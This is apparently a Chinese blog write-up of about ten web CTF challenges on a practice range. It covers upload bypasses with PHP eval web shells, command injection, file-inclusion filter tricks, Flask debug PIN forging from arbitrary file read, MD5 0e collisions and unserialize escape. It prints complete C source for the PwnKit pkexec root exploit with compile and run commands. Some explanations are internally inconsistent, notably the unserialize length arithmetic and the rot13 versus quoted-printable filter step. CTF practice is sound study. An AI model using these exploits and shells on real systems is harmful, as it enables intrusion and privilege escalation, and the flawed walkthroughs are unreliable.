上传
打开果然是个文件上传


不让上传php

上传png图片在bp里改

尝试.htaccess绕过
上传

想是不是对内容有waf

果然,应该过滤php
<script language="php">@eval($_REQUEST['pass']);</script>
但是蚂蚁剑连不上

应该是.htaccess没生效
想到还有一种.user.ini 绕过
.user.ini 是 PHP 的目录级配置文件(类似 .htaccess 对 Apache 的作用)。
服务器环境为 Nginx + PHP-FPM 或 Apache + PHP-FPM 时,.htaccess 可能失效,但 .user.ini 可以生效。
准备.user.ini
内容:
auto_prepend_file =木马文件名

做到这感觉哪哪都不对劲,扫个目录看看

访问/up;oad

里面存放我们上传的东西因为上一个环境被我玩坏了,重新上传一下
改一下.htaccess
SetHandler application/x-httpd-php
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=shell.pnp"
上传shell.png
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+
访问一下执行rec

pass=system('ls /');
pyload:
pass=system('cat /flag');
PHP是世界上最好的语言
打开给到源码

代码审计一下
包含了一个flag文件,用户可以控制变量sys进行post传参
检测get传递是否有flag1,flag2或post传递是否有flag1.flag2,如果有就nonono所以第一个绕过的点就是
如何检测不到get传递有flag1传参,那就把get传参变成post传值?flag1=xxx改成?POST[flag1]=xxx
继续看@parse_str($_SERVER['QUERY_STRING']);
$_SERVER['QUERY_STRING']获取 URL 中?后面全部查询字符串。
例:
test.php?a=1&b=2→ 返回字符串"a=1&b=2"
parse_str(string)把 url 查询字符串解析,直接生成变量到当前作用域。
parse_str("a=1&b=2");
// 等价于 $a=1; $b=2;@错误抑制符 屏蔽函数执行产生的警告、错误信息,页面不报错。
简单来说就是实例化你的get传参
extract($_POST);也就是把 POST 提交过来的键值对,直接生成 PHP 变量。
接下来就是绕过if(isset($_POST['504_SYS.COM'])),这里要注意的是PHP里的非法传参。
因此我们可以POST传入504[SYS.COM=1
再下就是限制一些字符,最后POST
pyload:
get:?_POST[flag1]=8gen1&_POST[flag2]=8gen1
post:504[SYS.COM=1&sys=echo $flag;

非常好绕的命令执行
打开给到源码

没有啥东西就这个:
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
这一行是一个条件判断语句,检查拼接的恶意代码是否通过了黑名单检查,且不是纯空格字符,且是可打印的字符。
将冗余的括号注释掉,用#即%23来注释(浏览器里不能直接传#,否则其会被当作锚点)
发现第一个参数是没有多余的

感觉后面两个纯多余
pyload:
?args1=echo`ls`;&args2=1&args3=2
所以
payload:
?args1=echo`cat<flagggg`;&args2=1&args3=2
这又是一个上传
打开果然如描述的一样

前端也写了

只能上传.jpg\.png\.gif
上传shell.png

改一下后缀看看是不是前端验证

果然如此试试能不能连上

就知道没有这么简单,里面是空的报错,搜索了一下是权限不足,要提权了
测试一下polkit 0.105 是有漏洞的版本,直接打就行。
ls -l /opt/polkit-0.105/src/programs/pkexec
# 看到 -rwsr-xr-x root root 就开打(带 s = SUID)
显然没有触发知识盲区了看了大佬:Polar 这又是一个上传_这又是一个上传 polar-CSDN博客
我们切换哥斯拉
因为我们的权限不足,第一个想到的就是suid -i来提权

显然不行
查找具有suid权限的命令
木马参数=system('find / -user root -perm -4000 -print 2>/dev/null');
发现有pkexec。polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
一般不确定是否有提权的时候,我都会上https://gtfobins.github.io/看一下。
dpkg -l | grep -i polkit
存在CVE-2021-4034 pkexec 本地提权漏洞,可以将用户身份直接变为root
又发现/tmp目录可以增删改文件
准备脚本上传
#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ftw.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>
#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif
#ifdef __i386__
const char service_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
#endif
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
{
int rv = remove(fpath);
if (rv)
perror(fpath);
return rv;
}
int rmrf(char *path)
{
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}
void entry()
{
int res;
FILE *fp;
char buf[PATH_MAX];
int pipefd[2];
char *cmd;
int argc;
char **argv;
register unsigned long *rbp asm ("rbp");
argc = *(int *)(rbp + 1);
argv = (char **)rbp + 2;
res = mkdir("GCONV_PATH=.", 0777);
if (res == -1 && errno != EEXIST) {
perror("Failed to create directory");
_exit(1);
}
res = creat("GCONV_PATH=./.pkexec", 0777);
res = mkdir(".pkexec", 0777);
fp = fopen(".pkexec/gconv-modules", "w+");
if (fp == NULL) {
perror("Failed to open output file");
_exit(1);
}
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0) {
perror("Failed to write config");
_exit(1);
}
fclose(fp);
buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
res = symlink(buf, ".pkexec/pkexec.so");
if (res == -1) {
perror("Failed to copy file");
_exit(1);
}
pipe(pipefd);
if (fork() == 0) {
close(pipefd[1]);
buf[read(pipefd[0], buf, sizeof(buf) - 1)] = 0;
if (strstr(buf, "pkexec --version") == buf) {
puts("Exploit failed. Target is most likely patched.");
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
}
_exit(0);
}
close(pipefd[0]);
dup2(pipefd[1], 2);
close(pipefd[1]);
cmd = NULL;
if (argc > 1) {
cmd = memcpy(argv[1] - 4, "CMD=", 4);
}
char *args[] = {NULL};
char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
/* 关键改动:指向 .libs 下带 SUID 的真正 pkexec 二进制 */
execve("/opt/polkit-0.105/src/programs/.libs/pkexec", args, env);
/* 兜底:如果上面的路径不对,用 PATH 找 */
execvpe("pkexec", args, env);
_exit(0);
}
void gconv() {}
void gconv_init()
{
close(2);
dup2(1, 2);
char *cmd = getenv("CMD");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
if (cmd) {
execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
} else {
execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
}
_exit(0);
}新建文件

上传成功
gcc -shared pwnkit_ly4k.c -o pwnkit -Wl,-e,entry -fPIC # 编译
./pwnkit 'cat /flag' # 直接执行命令

得到
网站被黑

进行一些信息收集

像是bese64加密,但是不是的又试了base32解出来

/n0_0ne_f1nd_m3/
目录也没有收获,有个flag还是空目录

访问/n0_0ne_f1nd_m3/

得到源代码
第一关:file_get_contents($text) === "welcome to the 504sys"
$text 要能让 file_get_contents 原样返回那串字符,用 data 伪协议直接:
plaintext
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz
第二关:include($file) 绕过关键词黑名单
过滤是 preg_match("/flag|data|base|write|input/i", $file)——注意 flag、base 都被禁了,所以最常规的 php://filter/read=convert.base64-encode/resource=flag.php 走不通。
但注释 //imposible.php 已经出卖了一切:flag 在 imposible.php 里,而且这个文件名本身不含任何黑名单词。换个不含敏感词的过滤器就行——string.rot13:
plaintext
file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php检查一下:php://filter/read=string.rot13/resource=imposible.php —— 没有 flag/data/base/write/input,绕过 成功

最终pyload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgNTA0c3lz&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php
veryphp

一眼变量覆盖,还有个很恶意的waf
hackbar发包不行,得用bp发包,可能是因为有啥特殊符号吧
_用[来绕过
shaw[root=-a9<b>22222222>>>>pabcphp@Rs1
得到md5("shaw".(SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen(SecretNumber)===5
爆破 SecretNumber
<?php
$targetHash = '166b47a5cb1ca2431a0edfcef200684f';
$prefix = 'shaw';
for ($i = 0; $i < 100000; $i++) { // 尝试所有可能的数字,假设范围在 0 到 99999 之间
$SecretNumber = str_pad($i, 5, '0', STR_PAD_LEFT); // 格式化为5位数,不足的用0填充
$hash = md5($prefix . $SecretNumber . 'root'); // 生成哈希
if ($hash === $targetHash) { // 检查哈希是否匹配目标哈希
echo "找到匹配的 SecretNumber: $SecretNumber\n";
break;
}
}hint:md5("shaw".$SecretNumber."root")==166b47a5cb1ca2431a0edfcef200684f 且长度=5。
MD5 爆破得 $SecretNumber = "21475"
爆出来是21475
最后注意过滤了e,所以call_user_func不能直接利用system
考虑利用qwq 这个文件读取类的静态方法
最终的pyload
shaw root=-a9<b>22222222>>>>abcp@Rsz&ans=21475&my ans=qwq::oao
flask_pin
打开

发现一个路由

访问/file

用参数访问filename=/etc/password

能够读取,这是题目泄露的任意文件读取的漏洞,但没办法获取flag

回到题目信息什么是flag pin
Flask PIN是Flask调试控制台的访问密码。
仅在debug=True下调式模式才能生效。
当程序报错时,错误页面会出现交互式 Python shell 入口,必须输入 PIN 才能解锁。
PIN码是9位数字,用-分割,例如 123-456-789
PIN需要6个环境特征值拼接加盐MD5计算,6个环境特征值如下
公开参数(报错页面可泄露)
1、username:运行 Flask 进程的系统用户名(root/ubuntu/Administrator)
2、modname:固定为 flask.app
3、app类名:固定为 Flask
4、flask/app.py 绝对路径:报错堆栈会完整打印
私有参数(需读取服务器文件获取)
1、MAC地址十进制:uuid.getnode(),读取网卡地址转数字
2、machine-id:服务器唯一硬件标识,Linux 存于 /etc/machine-id
(需要注意的是Flask下的werzeug版本在在2020年1月5号就发生了更新,代码发生了变化,因此要再读取到machine_id()的值的话需要先读取/etc/machine-id,再读取/proc/self/cgroup,并将第一个获取到的值与第二个获取到的id值进行拼接)不同版本的pin码生成代码
下面分别是不同版本的pin码生成代码
# python3.5
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id+/proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)# python3.6
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)# python3.8
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)解密pin码
首先可以看到是python3.5的版本,那么我们生成pin码需要python3.5

直接读取/etc/passwd获取用户名,一般都是root

然后在报错页面获取app.py的绝对路径

然后访问获取网卡地址
?filename=/sys/class/net/eth0/address

将其转为十进制
16:02:42:ac:02:78:30
10:2252356986940653642
然后获取机器id
?filename=/etc/machine-id

c31eea55a29431535ff01de94bdcf5cf还要再获取容器id
/file?filename=/proc/self/cgroup

5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4然后将两者的值拼接在一起,组合成完整的machine_id
c31eea55a29431535ff01de94bdcf5cf5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4总结一下信息
username:root
modname:flask.app
appname:Flask
moddir:/usr/local/lib/python3.5/site-packages/flask/app.py(flask库下app.py的绝对路径)
uuidnode:2252356986940653642
machine_id:c31eea55a29431535ff01de94bdcf5cf5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4算PIN
import hashlib
from itertools import chain
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.5/site-packages/flask/app.py',
]
private_bits = [
str(int('0242ac027830', 16)), # uuid.getnode()
'c31eea55a29431535ff01de94bdcf5cf' + # /etc/machine-id
'5220fdf2d11d0e974f8d4180f72937c76c12303db60ded551304cdad8d3cc5d4', # /proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
h.update(bit.encode('utf-8'))
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
pin = '-'.join(num[i:i+3] for i in range(0, 9, 3))
print(pin)输出

pin:174-445-311

弹窗出提交pin码
将刚才算出的提交

进入调试模式,读取flag
要用python命令跑rec读取文件
就要用到python的一个os模块了

import os
os.popen('ls /').read()看到flag文件了
pyload:
os.popen('cat /flaggggg').read()
毒鸡汤
打开环境

扫一下目录看看

访问robots.txt

给了hint.txt访问

提示flag在根目录里
访问/www.zip
下载得到全部源码

优先看index.php

index.php?readfile=/flag
upload tutu
打开是一个文件上传的框

查看源码没有东西

上传shell.png无法获得

但是这是我上传一个两给都上传

说文件没有不同,再试试其他的
试了一下png和jpg的返回第一个状态
但修改了一下包的内容发现

说哈希值不匹配
我才后端应该写了多层比较,比如刚刚我们的三种比较,比较文件类型,文件大小等,现在困境就是哈希值不等,想到了php的若比较中的
0e碰撞
参考:常见的MD5碰撞:md5值为0e开头_md5 0e开头-CSDN博客
原理:某些 MD5 值恰好是 0e 开头纯数字的字符串,被 PHP 当成科学计数法 0×10^n = 0,于是两个不同的明文“相等”了。
所以我们把内容改成
s878926199a和s155964671a
成功绕过得到源码


Unserialize_Escape
打开环境就给到源代码

代码审计一下,经典的反序列化字符逃逸
程序把你 POST 上来的 username 和写死的 password="aaaaa" 组成数组,先序列化成字符串,再经过一个过滤器(把 x 替换成 yy),然后反序列化回去。如果反序列化出来的第 2 个元素(下标 [1])等于 "123456",就输出 flag。
构建一下
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";} 
序列化(过滤前):
a:2:{i:0;s:46:"xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
filter 替换后(x→yy,实际内容 60 字符,但长度标记还是 s:46... 等等,标记是 s:40):
a:2:{i:0;s:40:"yyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
unserialize 按 s:40 只读 40 个字符:
"yyyyyyyyyyyyyyyyyyyy" + ";i:1;s:6:"123456";}" ← 40 个字符,正好闭合
剩下的 ";i:1;s:5:"aaaaa";} 被当垃圾忽略
结果数组:[0]="yyyy...", [1]="123456" → [1]=="123456" 得到 flagpalor靶场-困难方向(1-10)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法